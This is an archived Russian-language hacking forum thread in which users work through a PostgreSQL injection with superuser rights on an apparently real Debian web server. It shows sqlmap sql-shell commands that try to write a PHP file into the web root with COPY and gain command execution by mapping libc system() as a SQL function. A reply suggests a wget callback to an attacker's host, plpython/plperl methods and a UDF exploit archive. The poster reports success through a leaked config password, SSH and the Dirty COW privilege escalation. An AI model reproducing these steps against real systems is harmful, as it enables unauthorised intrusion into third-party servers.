PDA

Просмотр полной версии : Postgres Injection + PRIV


ACat
24.03.2017, 23:20
Всем доброго времени суток.

Решил, что эта ситуация тянет на отдельный топик :3

И так, задача:

linux Debian 4.4.5-8, 64-bit

Apache/2.2.16 (Debian)

PostgreSQL 8.4.13


Code:
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user

postgres, true, true, true


Code:
SELECT mycol FROM mytable limit 1

''


Code:
sql-shell> COPY mytable (mycol) TO '/var/www/landing/Utils/Common/vendor/php-curl-class/php-curl-class/1.php';
[13:12:07] [INFO] fetching SQL query output: 'COPY mytable (mycol) TO '/var/www/landing/Utils/Common/vendor/php-curl-class/php-curl-class/1.php''
[13:12:07] [INFO] retrieving the length of query output
[13:12:07] [INFO] retrieved:
[13:12:08] [INFO] retrieved:
sql-shell>

Not Found

The requested URL /landing/Utils/Common/vendor/php-curl-class/php-curl-class/1.php was not found on this server.

Смею предположить, что нету прав на запись от юзера базы данных в папочки юзера веб-сервера.

Пробуем code exec:


Code:
sql-shell> CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;: 'NULL'
sql-shell> SELECT system('id');
[13:17:35] [INFO] fetching SQL SELECT statement query output: 'SELECT system("id")'
[13:17:36] [INFO] retrieving the length of query output
[13:17:36] [INFO] retrieved:
[13:17:36] [INFO] retrieved:
sql-shell>

Еще на сервере в открытом доступе лежат php-curl-class если это может как-то помочь.

ACat
24.03.2017, 23:55
ап

ACat
28.03.2017, 23:34
Хлопцi, шо никто не поможет?

crlf
30.03.2017, 02:41
SELECT system('wget yourhost.com');


Если в логах пусто, то возможно либы нет на месте или нет wget-а

Попробуй /lib/x86_64-linux-gnu/libc.so.6 или /lib32/libc.so.6 . Ещё немного (https://packages.debian.org/search?searchon=contents&keywords=libc.so.6). И не факт, что этот метод работает на этой версии

По первому случаю, попробуй в /tmp выгрузить и залить обратно, там ясно будет.

Так же есть варианты с plpython, plperl (https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL# plpython) и UDF (https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/7855.tar.gz), нужно тестить.

ACat
02.04.2017, 04:55
Спасибо за ответы, как я и предпологал не было прав на запись.

Решилось прикольным образом: бэкап файл с конфигом и паролем от юзера базы данных, ssh, dirty cow.